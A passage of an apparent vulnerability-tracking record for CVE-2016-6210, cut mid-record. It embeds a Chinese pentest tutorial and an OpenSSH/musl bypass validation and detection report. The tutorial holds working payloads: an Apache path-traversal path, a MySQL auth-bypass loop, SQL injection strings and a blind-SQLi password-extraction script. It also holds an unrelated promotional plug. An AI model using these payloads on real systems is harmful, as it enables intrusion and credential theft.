https://vulners.com/exploitdb/EDB-ID:45233   *EXPLOIT*                               |       CVE-2018-20685  5.3     https://vulners.com/cve/CVE-2018-20685        |       CVE-2018-15919  5.3     https://vulners.com/cve/CVE-2018-15919        |       CVE-2018-15473  5.3     https://vulners.com/cve/CVE-2018-15473        |       CVE-2017-15906  5.3     https://vulners.com/cve/CVE-2017-15906        |", "url": "https://t.me/MalaysiaHacktivistz/2961", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-20T03:32:40Z", "date_only": false, "value": "2025-04-20T03:32:40Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-F525-65H3-3QJH", "record": "GHSA-F525-65H3-3QJH", "field": "modified", "linked_record": true}, {"timestamp": "2025-07-17T15:00:05Z", "date_only": false, "value": "2025-07-17T15:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/MYtmsd5nS91MkmqOwN--bgVCSekxEetUHuF7TcxKYbEa7Qk", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "8bb35ded-cdfd-4069-aadb-f070466776aa", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-09-04T00:05:57Z", "date_only": false, "value": "2025-09-04T00:05:57.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2016-6210", "record": "MSRC_CVE-2016-6210", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2025-09-04T00:05:57Z", "date_only": false, "value": "2025-09-04T00:05:57.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2016-6210", "record": "MSRC_CVE-2016-6210", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2025-09-04T00:05:57Z", "date_only": false, "value": "2025-09-04T00:05:57.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2016-6210", "record": "MSRC_CVE-2016-6210", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-10-19T17:08:47.471Z", "date_only": false, "value": "2025-10-19T17:08:47.471Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2016-6210", "record": "MSRC_CVE-2016-6210", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-05-03T03:00:05Z", "date_only": false, "value": "2026-05-03T03:00:05.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/MurpDVre-4LCYzH5BvUtvVRvpJ9yqT35RKsHtthqDCH1oSA", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "35cbe764-af56-4392-936c-187f11483d37"}, {"timestamp": "2026-05-29T20:17:34.559Z", "date_only": false, "value": "2026-05-29T20:17:34.559558Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2016-6210", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2026-05-29T20:17:34.559Z", "date_only": false, "value": "2026-05-29T20:17:34.559558Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2016-6210", "record": "FKIE_CVE-2016-6210", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-05-29T20:17:40.496Z", "date_only": false, "value": "2026-05-29T20:17:40.496Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2016-6210", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-05-29T20:17:40.496Z", "date_only": false, "value": "2026-05-29T20:17:40.496Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2016-6210", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-01T07:04:30Z", "date_only": false, "value": "2026-06-01T07:04:30Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2016-6210", "record": "UBUNTU-CVE-2016-6210", "field": "modified", "linked_record": true}, {"timestamp": "2026-06-17T00:50:38.270Z", "date_only": false, "value": "2026-06-17T00:50:38.270", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2016-6210", "record": "FKIE_CVE-2016-6210", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-22T10:00:53Z", "date_only": false, "value": "2026-06-22T10:00:53.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/bluetrollplei/75a1dd5bcdba2fc3ded4e332998e8d17", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "0cc41e3b-e3c1-48c4-b274-4daa229e63c7", "content": "# \u6e17\u900f\u6d4b\u8bd5\u5b66\u4e60\u8def\u7ebf\uff1a\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230\u5185\u7f51\u6a2a\u5411\n\n**\u73af\u5883\u524d\u63d0**\uff1a\u672c\u6587\u57fa\u4e8e Kali Linux 2023.4 \u548c Python 3.11 \u73af\u5883\u7f16\u5199\uff0c\u6240\u6709\u5de5\u5177\u5747\u6765\u81ea\u5b98\u65b9\u4ed3\u5e93\u6216\u53ef\u4fe1\u6e90\u3002\u5efa\u8bae\u8bfb\u8005\u5728\u5c01\u95ed\u9776\u573a\uff08\u5982 VulnHub \u6216 HackTheBox\uff09\u4e2d\u5b9e\u8df5\uff0c\u5207\u52ff\u5728\u672a\u7ecf\u6388\u6743\u7684\u4e3b\u673a\u4e0a\u64cd\u4f5c\u3002\n\n---\n\n### 1. \u7b2c\u4e00\u9636\u6bb5\uff1a\u4fe1\u606f\u6536\u96c6\u4e0e\u7aef\u53e3\u626b\u63cf\n\n\u6e17\u900f\u6d4b\u8bd5\u7684\u7b2c\u4e00\u6b65\u662f\u6478\u6e05\u76ee\u6807\u7f51\u7edc\u62d3\u6251\u4e0e\u5f00\u653e\u670d\u52a1\u3002\u63a8\u8350\u6309\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u63a8\u8fdb\uff1a\n\n- \u4f7f\u7528 `nmap` \u8fdb\u884c\u5b58\u6d3b\u4e3b\u673a\u53d1\u73b0\uff1a`nmap -sn 192.168.1.0/24`\n- \u5bf9\u5b58\u6d3b\u4e3b\u673a\u6267\u884c\u7aef\u53e3\u626b\u63cf\uff1a`nmap -sS -sV -O `\n- \u5c06\u7ed3\u679c\u8f93\u51fa\u4e3a XML\uff0c\u518d\u7528 `xsltproc` \u8f6c\u4e3a\u62a5\u544a\n\n&gt; **\u63d0\u793a**\uff1a\u9ad8\u5e76\u53d1\u626b\u63cf\u5bb9\u6613\u89e6\u53d1 IDS/IPS\uff0c\u751f\u4ea7\u73af\u5883\u4e2d\u8bf7\u4f7f\u7528 `-T2` \u964d\u901f\uff0c\u6216\u501f\u52a9\u4ee3\u7406\u94fe\u9690\u85cf\u771f\u5b9e IP\u3002\n\n\u626b\u63cf\u7ed3\u679c\u4e2d\u5e38\u89c1\u7684\u662f SSH\u3001HTTP\u3001MySQL \u7b49\u670d\u52a1\u3002\u6bcf\u4e2a\u7aef\u53e3\u90fd\u53ef\u80fd\u662f\u4e00\u4e2a\u7a81\u7834\u53e3\uff0c\u4f46\u4e0d\u8981\u6025\u4e8e\u66b4\u529b\u7834\u89e3\u2014\u2014\u5148\u5c1d\u8bd5\u670d\u52a1\u9ed8\u8ba4\u51ed\u8bc1\u4e0e\u5e38\u89c1\u6f0f\u6d1e\u3002\n\n---\n\n### 2. \u7b2c\u4e8c\u9636\u6bb5\uff1a\u6838\u5fc3\u6982\u5ff5\u2014\u2014\u6f0f\u6d1e\u5206\u7c7b\u4e0e\u5229\u7528\u94fe\n\n\u7406\u89e3\u6f0f\u6d1e\u7684\u6839\u6e90\u6bd4\u8bb0\u4f4f\u5de5\u5177\u53c2\u6570\u66f4\u91cd\u8981\u3002\u5173\u952e\u6982\u5ff5\u5305\u62ec\uff1a\n\n- **\u6ce8\u5165\u7c7b**\uff08SQLi\u3001\u547d\u4ee4\u6ce8\u5165\uff09\uff1a\u901a\u5e38\u7531\u672a\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\u5bfc\u81f4\n- **\u914d\u7f6e\u7f3a\u9677**\uff08\u5f31\u53e3\u4ee4\u3001\u9ed8\u8ba4\u8def\u5f84\uff09\uff1a\u5229\u7528\u6807\u51c6\u5b57\u5178\u5373\u53ef\u7a81\u7834\n- **\u6743\u9650\u63d0\u5347**\uff08\u5185\u6838\u6f0f\u6d1e\u3001SUID \u6587\u4ef6\uff09\uff1a\u9700\u8981\u672c\u5730\u4f4e\u6743\u9650\u540e\u6267\u884c\n\n\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6e17\u900f\u6d4b\u8bd5\u4e2d\u7684\u5178\u578b\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b\uff0c\u7528\u4e8e\u81ea\u52a8\u626b\u63cf\u540e\u63d0\u53d6\u670d\u52a1\u6307\u7eb9\u5e76\u751f\u6210\u5f85\u5229\u7528\u5217\u8868\uff1a\n\n```python\n# config_loader.py \u2014 \u670d\u52a1\u6307\u7eb9\u914d\u7f6e\u6a21\u677f\nservices = {\n    \"Apache 2.4.49\": {\n        \"cve\": \"CVE-2021-41773\",\n        \"type\": \"path_traversal\",\n        \"exploit_path\": \"/cgi-bin/.%2e/%2e%2e/usr/bin/id\"\n    },\n    \"OpenSSH 7.2p2\": {\n        \"cve\": \"CVE-2016-6210\",\n        \"type\": \"user_enumeration\",\n        \"payload\": \"ssh -o PreferredAuthentications=none \"\n    },\n    \"MySQL 5.5.x\": {\n        \"cve\": \"CVE-2012-2122\",\n        \"type\": \"auth_bypass\",\n        \"payload\": \"for i in {1..1000}; do mysql -u root -h  --password=bad; done\"\n    }\n}\n\ndef load_config():\n    # \u8bfb\u53d6\u5916\u90e8\u914d\u7f6e\u6587\u4ef6\u6216\u76f4\u63a5\u4f7f\u7528\u786c\u7f16\u7801\u5b57\u5178\n    return services\n```\n\n\u6b64\u914d\u7f6e\u53ef\u5728\u81ea\u52a8\u5316\u811a\u672c\u4e2d\u5feb\u901f\u5339\u914d\u626b\u63cf\u7ed3\u679c\uff0c\u4ece\u800c\u7f29\u77ed\u4eba\u5de5\u67e5 CVE \u7684\u65f6\u95f4\u3002\n\n---\n\n### 3. \u7b2c\u4e09\u9636\u6bb5\uff1a\u5b9e\u6218\u2014\u2014\u5229\u7528 SQL \u6ce8\u5165\u83b7\u53d6\u6570\u636e\n\n\u638c\u63e1\u4e86\u626b\u63cf\u4e0e\u914d\u7f6e\u540e\uff0c\u6211\u4eec\u8fdb\u5165\u6700\u5173\u952e\u7684\u5229\u7528\u73af\u8282\u3002\u4ee5\u5e03\u5c14\u578b SQL \u6ce8\u5165\u4e3a\u4f8b\uff0c\u9700\u8981\u6784\u9020 payload \u5e76\u9010\u5b57\u7b26\u731c\u6d4b\u6570\u636e\u5e93\u5185\u5bb9\u3002\u5229\u7528\u94fe\u5982\u4e0b\uff1a\n\n1. \u68c0\u6d4b\u6ce8\u5165\u70b9\uff1a`' OR 1=1--`\n2. \u786e\u5b9a\u5b57\u6bb5\u6570\uff1a`' ORDER BY 3--`\n3. \u679a\u4e3e\u6570\u636e\u5e93\u540d\uff1a`' UNION SELECT database(),2,3--`\n\n\u4ee5\u4e0b\u662f\u4e00\u6bb5 Bash \u811a\u672c\uff0c\u5b9a\u4e49\u5e76\u5c01\u88c5\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u9700\u8981\u4f20\u9012\u7684\u6570\u636e\u7ed3\u6784\uff08\u5373\u8bf7\u6c42\u6a21\u677f\u4e0e\u54cd\u5e94\u5224\u65ad\u903b\u8f91\uff09\uff1a\n\n```bash\n#!/bin/bash\n# sql_enum.sh \u2014 \u7b80\u6613\u5e03\u5c14\u76f2\u6ce8\u8bf7\u6c42\u6a21\u677f\nTARGET=\"http://example.com/vuln.php\"\nPARAM=\"id=1' AND SUBSTR((SELECT password FROM users LIMIT 0,1),$POS,1)='$CHAR'-- \"\n\n# \u5b9a\u4e49\u54cd\u5e94\u7801\u68c0\u67e5\u51fd\u6570\ncheck_response() {\n    local response=$(curl -s -o /dev/null -w \"%{http_code}\" \"$TARGET?$PARAM\")\n    if [[ \"$response\" == \"200\" ]]; then\n        return 0  # \u5b57\u7b26\u5339\u914d\n    else\n        return 1\n    fi\n}\n\n# \u9010\u5b57\u7b26\u904d\u5386\u5bc6\u7801\nPASSWORD=\"\"\nfor POS in {1..32}; do\n    for CHAR in {a..z} {0..9}; do\n        if check_response \"$POS\" \"$CHAR\"; then\n            PASSWORD+=\"$CHAR\"\n            break\n        fi\n    done\ndone\necho \"Found password: $PASSWORD\"\n```\n\n\u8be5\u811a\u672c\u904d\u5386 32 \u4f4d\u5bc6\u7801\uff0c\u6bcf\u6b21\u8bf7\u6c42\u4ec5\u6539\u53d8\u4e00\u4e2a\u5b57\u7b26\uff0c\u76f4\u5230\u627e\u5230\u5339\u914d\u3002\u5b9e\u9645\u6e17\u900f\u4e2d\u53ef\u7ed3\u5408\u591a\u7ebf\u7a0b\u52a0\u901f\uff0c\u540c\u65f6\u914d\u5408 `--data` \u53c2\u6570\u5904\u7406 POST \u8bf7\u6c42\u3002\n\n---\n\n\u5173\u4e8e\u81ea\u52a8\u5316\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u7684\u66f4\u591a\u5b9e\u73b0\u7ec6\u8282\uff0c\u53ef\u53c2\u8003 \u987a\u53d1\u5a31\u4e50 \u7684\u6280\u672f\u4e13\u680f\uff0c\u5176\u4e2d\u6574\u7406\u4e86\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u8f7d\u8377\u6784\u9020\u65b9\u6cd5\u3002\n\n\u5b8c\u6210\u4ee5\u4e0a\u4e09\u4e2a\u9636\u6bb5\u7684\u8bad\u7ec3\u540e\uff0c\u4f60\u5e94\u5f53\u80fd\u591f\u72ec\u7acb\u5b8c\u6210\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230 Web \u6f0f\u6d1e\u5229\u7528\u7684\u521d\u7ea7\u6e17\u900f\u6d4b\u8bd5\u3002\u540e\u7eed\u8fdb\u9636\u65b9\u5411\u5305\u62ec\u5185\u7f51\u96a7\u9053\u642d\u5efa\u3001\u57df\u73af\u5883\u63d0\u6743\u3001\u514d\u6740\u5bf9\u6297\u7b49\u2014\u2014\u6bcf\u6761\u8def\u7ebf\u90fd\u503c\u5f97\u6df1\u5165\u94bb\u7814\u3002\n", "url": "https://gist.github.com/bluetrollplei/75a1dd5bcdba2fc3ded4e332998e8d17"}, {"timestamp": "2026-07-29T12:00:48.152Z", "date_only": false, "value": "2026-07-29T12:00:48.152680Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/8694", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "04c426f1-1f14-43c9-825e-5e4dd9ec9732", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2016-6210-exploit*\nGithub: https://github.com/goomdan/CVE-2016-6210-exploit", "url": "https://t.me/CVEhub/8694"}, {"timestamp": "2026-07-31T14:00:05.113Z", "date_only": false, "value": "2026-07-31T14:00:05.113234Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/8694", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "90b91169-4253-4b46-b4e1-a955f887ea2b", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2016-6210-exploit*\nGithub: https://github.com/goomdan/CVE-2016-6210-exploit", "url": "https://t.me/CVEhub/8694", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-20T12:16:56Z", "date_only": false, "value": "2026-09-20T12:16:56Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2016:2280-1", "record": "SUSE-SU-2016:2280-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T12:16:57Z", "date_only": false, "value": "2026-09-20T12:16:57Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2016:2281-1", "record": "SUSE-SU-2016:2281-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T12:17:17Z", "date_only": false, "value": "2026-09-20T12:17:17Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2016:2388-1", "record": "SUSE-SU-2016:2388-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T12:18:16Z", "date_only": false, "value": "2026-09-20T12:18:16Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2016:2555-1", "record": "SUSE-SU-2016:2555-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T19:53:38Z", "date_only": false, "value": "2026-09-20T19:53:38Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:10174-1", "record": "OPENSUSE-SU-2024:10174-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-10-24T03:00:10Z", "date_only": false, "value": "2026-10-24T03:00:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ukc8Sl4vTRe6yF5QQQjDOWS_gcjMmx_OYzSqPhah_Kpo_Eg", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "8a43e9c7-4d54-4d4b-91ed-e7bf3784f785", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-24T03:00:10Z", "date_only": false, "value": "2026-10-24T03:00:10.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ukc8Sl4vTRe6yF5QQQjDOWS_gcjMmx_OYzSqPhah_Kpo_Eg", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "65fc216e-3cb4-4f44-a032-284da2a2dee0"}, {"timestamp": "2026-11-05T23:40:41Z", "date_only": false, "value": "2026-11-05T23:40:41.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Blevene/84862279804492db29ad182223e78cb8", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "ad52d107-01a6-4aeb-85e7-9b656b6afce2", "content": "# Validating the OpenSSH \u00d7 musl password-authentication bypass: one correction to the public disclosure, one bound confirmed, and what detection actually looks like\n\n*This report is self-contained: a reader with no access to our systems can understand the bug, the one correction we validated against the public disclosure, the claim of theirs we confirmed, and every detection claim, with all decisive evidence quoted verbatim in Appendix A and the detection tools reproduced verbatim in Appendix B. Scope boundary: this is a validation and detection report, not an exploitation report \u2014 we claim no evidence of this bug being used in the wild, and nothing here was tested against a production fleet. Raw logs are retained by us and available on request.*\n\n**Terms used in this report:** **musl** is a lightweight C library used as the system libc on Alpine Linux, OpenWrt, and Buildroot images. An **arm** (noun) is one lab test configuration \u2014 a specific sshd build plus an account layout plus a password policy (distinct from the verb *to arm*, to make the exploit possible). A **control** is a test with a known expected outcome. A **receipt** is a captured output or log file from a run. A **fixture** is a reconstructed `/etc/passwd` + `/etc/shadow` pair used as detector input \u2014 the lab containers were destroyed after each run, so fixtures are deterministic reconstructions, not live captures. A **canary** is a decoy account provisioned so that any successful password authentication against it is a compromise signal. A **donor** is an account holding a `$`-format password hash whose salt sshd's salt-borrowing logic reuses. The **lock character `*`** is the literal asterisk placed in an account's password field (`/etc/passwd` or `/etc/shadow`) to mean \"no password authentication possible\" \u2014 the token this whole report turns on. The **write-ups** are the two public reports of this bug: sshhole.com, by \u00d6zg\u00fcn K\u00fcltekin (Wakefield, the researcher's affiliation per the write-ups), and PrivacyAffairs. **DBGSHADOW** / **DBGSYSAUTH** lines come from a lab sshd build we instrumented; production sshd emits neither. The **harness** is our scripted test driver (sshpass/ssh plus paramiko scripts).\n\n---\n\n## TL;DR\n\n- We reproduced the publicly disclosed OpenSSH sshd password-authentication bypass on musl libc on real builds \u2014 OpenSSH 10.6p1 and 10.0p2 (the latter 10.0p2-at-runtime, a 10.0p1-labeled Alpine-era build) compiled against musl 1.2.5 \u2014 deterministically, on the first attempt. The bug is real.\n- The write-ups' stated precondition is wrong in a load-bearing way: the victim account's `*` must sit in `/etc/passwd` **with no `/etc/shadow` entry**. In the write-ups' shadow-based scenario, sshd denies \u2014 because the very code that arms the exploit destroys the stored `*` before comparing it (\u00a73). This does not contradict the write-ups' core claim that `*`-style accounts are vulnerable; it narrows *where* the `*` must be, and it changes what an audit must look at.\n- The exploit window is **257\u20131024 bytes, enforced server-side** (\u00a74) \u2014 the write-ups had it right; our initial no-upper-bound reading was a test-client truncation artifact, retracted after a probe with a non-truncating client.\n- The exploit's only log trace is a byte-identical normal `Accepted password for ` line, and the fixed build's refusal is silent. Log-only detection is therefore impossible. Detection works by correlating authentication events with account state \u2014 a per-host config-audit tool, a retroactive hunt, and a zero-false-positive canary account \u2014 plus version auditing. We shipped all of it, and every positive control passed: seventeen of seventeen across five lab images.\n- Passive network IDS is blind to this bug (the password rides inside the encrypted SSH channel), and audits that check only `/etc/shadow` miss exploitable fleets entirely \u2014 the single most likely operational mistake when following the write-ups.\n\n## 1. The disclosure and the claim we tested\n\nOn 2026-11-05, \u00d6zg\u00fcn K\u00fcltekin (Wakefield) published the finding via sshhole.com, with a companion write-up on PrivacyAffairs: OpenSSH portable sshd linked against musl libc accepts an over-long password for certain locked-looking accounts. The claim matters because Alpine-class container and embedded fleets (Alpine, OpenWrt, Buildroot) are everywhere, and because `*`-field accounts are the norm on them: on Alpine \u2265 3.16 the lock character in `/etc/passwd` was deliberately changed to `*` so that SSH *key* authentication keeps working when PAM is absent (per the write-ups' account of Alpine's package repository (aports) history), and cloud-image provisioning creates `*`-field users on AWS/Azure images.\n\nOpenSSH shipped the fix, 10.6p2, the same UTC day as the public disclosure \u2014 the endpoint of a roughly one-day window on the private distros@openwall list: Alpine's fixed packages were committed 06:53\u201309:05 UTC, the 10.6p2 tarball was last-modified 08:50 UTC, and OpenSSH developer Damien Miller's announcement came at 09:03 UTC. No CVE had been assigned at validation time; re-check before relying on that.\n\nThe discovery method, per the sshhole.com write-up: agent-driven swarms built sshd differentially across libc, PAM, and shadow-layout combinations and fed each build roughly 17,600 malformed logins; the musl accept surfaced as a cross-build differential, not from a single-target exploit. Our own method in \u00a72 has the same shape \u2014 differential across configurations \u2014 which is part of why the result survived adversarial re-testing.\n\nOur contribution is not the discovery \u2014 that is K\u00fcltekin's. We validated the bug on real builds, found that one load-bearing precondition in the write-ups is wrong, confirmed a second claim of theirs we had initially disputed (\u00a74), explained *why* the wrong precondition fails (a genuine catch-22 in upstream OpenSSH's own code), and built a detection package around the corrected mechanics.\n\nA host is exploitable when **all** of the following hold:\n\n- sshd is linked against musl and verifies passwords itself (Alpine's default `openssh-server` is built without PAM, and PAM-built sshd is equally exposed when `UsePAM no` is in effect);\n- `PasswordAuthentication yes` is effective (OpenSSH's default \u2014 check `Match` blocks);\n- **at least one account has the literal `*` in `/etc/passwd` and no `/etc/shadow` entry** (the decisive condition, \u00a73);\n- **at least one other account holds a `$`-format hash** \u2014 the donor (\u00a73).\n\nA fleet with no real password hash anywhere is not exploitable. Not exposed: glibc distributions (Debian/Ubuntu/Fedora \u2014 libxcrypt returns `\"*0\"`, two characters, which never matches a stored `\"*\"`); anything where PAM handles passwords; OpenSSH 10.6p2 and later; and Dropbear, which per the PrivacyAffairs write-up Alpine's maintainer (Natanael Copa) checked in source and found unaffected, with musl's maintainer (Rich Felker) concurring. Root is not directly reachable through this bug: `PermitRootLogin` defaults to `prohibit-password`, so a `root:*` entry is never password-consulted.\n\n## 2. How we tested it\n\nWe built five Docker images on one test host (loopback networking only): OpenSSH 10.6p1 on musl (Alpine 3.22 base; musl 1.2.5, verified from the vulnerable image); the same plus PAM with `UsePAM no`; the 10.0p1-labeled build (reports 10.0p2 at runtime; an Alpine 3.22-era build \u2014 see the version-string trap in \u00a77); the patched 10.6p2; and 10.6p1 on glibc (Debian 12). Across those images we ran fourteen arm configurations (armA through armN), enumerated in Table 1 with their victim layouts, donor presence, and outcomes on the decisive 257\u20131024-byte probes. Expected and observed outcomes matched on all fourteen arms.\n\n**Table 1 \u2014 the fourteen arms.** Each arm also carried the benign controls described below; \"stomp\" is the \u00a73 catch-22.\n\n| Arm | Build (image) | Victim `mallory` layout | `$`-hash donors | Outcome, 257\u20131024-byte probes |\n|---|---|---|---|---|\n| armA | musl 10.6p1 | `*` in shadow | bob + carol | DENY (stomp) |\n| armB | musl 10.6p2 (patched) | `*` in shadow | bob + carol | DENY |\n| armC | musl 10.6p1 | `*` in shadow | none (all locked) | DENY |\n| armD | glibc 10.6p1 (Debian 12) | `*` in shadow | bob + carol | DENY (`\"*0\"`) |\n| armE | musl 10.6p1 + PAM, `UsePAM no` | `*` in shadow | bob + carol | DENY (stomp) |\n| armF | musl 10.6p1 | passwd-`*`, no shadow | bob + carol | **ACCEPT** |\n| armG | musl 10.6p1 | `*` in both files | bob + carol | DENY (stomp) |\n| armH | musl 10.0p1-labeled (reports 10.0p2) | `*` in shadow | bob + carol | DENY (stomp) |\n| armI | musl 10.0p1-labeled (reports 10.0p2) | passwd-`*`, no shadow | bob + carol | **ACCEPT** |\n| armJ | musl 10.0p1-labeled (reports 10.0p2) | `*` in both files | bob + carol | DENY (stomp) |\n| armK | glibc 10.6p1 (Debian 12) | passwd-`*`, no shadow | bob + carol | DENY (`\"*0\"`) |\n| armL | musl 10.6p2 (patched) | passwd-`*`, no shadow | bob + carol | DENY, silently |\n| armM | musl 10.6p1 + PAM, `UsePAM no` | passwd-`*`, no shadow | bob + carol | **ACCEPT** |\n| armN | musl 10.6p1 | passwd-`*`, no shadow | none (all locked) | DENY (DES fallback) |\n\nEach musl arm carried a standard control set: a known-correct-password account (harness and sshd auth work at all), a delivery control (an account whose hash is the hash of 256 `A`s, generated by the target libc, which must accept a 256-`A` password \u2014 proving long-password delivery works), and a locked account that must refuse, plus a short wrong-password control (a short incorrect password that must deny). On the no-donor arms (armC, armN) both controls deny by design \u2014 every donor is locked there, which is the point of those arms.\n\nEvery arm \u2014 musl and glibc alike \u2014 carried this full control set, and every control passed in its final run (Appendix A.6 covers the detection-tool controls; the per-arm control receipts are retained by us and available on request).\n\nFor the decisive mechanism evidence we ran an **instrumented sshd**: a lab build of 10.6p1 with two debug lines added at the shadow read and at the password compare. They are how we saw the catch-22 \u2014 not a detection source.\n\nDetection claims were validated separately from the exploit claims: the shipped tools were exercised against real arm sshd logs and reconstructed fixtures, and every positive control in the final run passed (matrix verbatim in Appendix A.6).\n\n## 3. The correction \u2014 the `*` must be in `/etc/passwd`, with no shadow entry; the catch-22 explains why\n\nThe write-ups place the `*` in `/etc/shadow`. On real sshd, that scenario **denies** \u2014 we reproduced the deny across four arms (shadow layout, and passwd-and-shadow-both layouts). The exploitable layout is `*` in `/etc/passwd` with **no** shadow entry. This does not contradict the write-ups' core observation that `*`-style accounts authenticate with an over-long password; it narrows the precondition, and it relocates the audit target (\u00a76, \u00a78).\n\nThree individually reasonable design decisions collide to create the bug, and a fourth creates the catch-22:\n\n1. **musl's `crypt()` returns the literal string `\"*\"` on failure** instead of NULL (a musl behavior from 2012). Portable OpenSSH's `xcrypt()` wrapper never NULL-checks the result, so the failure value flows into the final `strcmp`.\n2. **musl caps sha512crypt and sha256crypt keys at 256 bytes** (a deliberate DoS-protection limit). A password of 257 or more bytes makes the hash computation fail, so the wrapper returns `\"*\"`.\n3. **sshd's CVE-2016-6210 timing fix** routes accounts whose stored hash is shorter than two characters through a *borrowed salt*: `pick_salt()` (in `openbsd-compat/xcrypt.c`) walks all accounts and borrows the first `$`-format hash's salt. For a `*`-field account, that borrowed salt arms the exploit: `crypt(257+ bytes, borrowed salt)` fails on key length, returns `\"*\"` \u2014 which then compares equal to the stored `\"*\"`. Accept, first try. The 2016 fix, written to equalize timing for invalid users, silently converted \"account with no hash\" into \"account whose crypt result is compared to `*`\". *Donor boundary:* `$6$` (sha512crypt) and `$5$` (sha256crypt) donors are verified to arm this path; whether a bcrypt (`$2a$`/`$2b$`)- or md5 (`$1$`)-only fleet arms it is **unverified** \u2014 bcrypt has no 256-byte key limit in musl and is therefore *expected* never to return `\"*\"`, but that is source-derived reasoning, not an observation, and no arm tested such a fleet. Treat it as unknown, not safe. *No-donor boundary:* with no `$`-format hash anywhere, `pick_salt()` falls back to the DES salt `\"xx\"`, and musl's DES crypt truncates the key and returns a *real* DES hash, which mismatches the stored `\"*\"` \u2192 deny \u2014 though \"no donor today\" is an unstable state (one password set anywhere arms it).\n4. **The catch-22:** when the `*` is in `/etc/shadow`, musl's `getspnam()` returns `sp_pwdp` pointing into a *static buffer*: a single scratch buffer that every `getspnam`/`getpwent` call reuses and overwrites. `pick_salt()`, the very function that must run to borrow the arming salt, re-enumerates accounts through `getpwent`/`getspnam` \u2014 rewriting that static buffer \u2014 and on finding the donor executes `explicit_bzero(passwd, strlen(passwd))` (upstream OpenSSH's own code, verified at line 88 of the retained 10.6p1 `xcrypt.c`; the 10.0p1 tree carries the same construct per our source review of that tree). The `*` is zero-stomped **before** the `strcmp`, so sshd compares `\"*\"` against an empty string \u2192 deny. **Arming the exploit is exactly what destroys the stored `*`.**\n\nWith the `*` in `/etc/passwd` and no shadow entry, by contrast, the account's password field points into the marshalled `getpwnam` result buffer (the per-call structure backing the account entry), which `pick_salt`'s loop never touches. The compare sees the intact `*` and accepts. The instrumented receipts in Appendix A.1 show the pair directly: `sp_pwdp=[*]` at read, `pw_password=[]` at compare.\n\n**What the catch-22 does and does not defend against.** Three things deserve explicit statement. First, the shadow-`*` stomp is an *accident of account layout*, not a security control: nobody configures it, and relying on it means betting on an upstream implementation detail (the static 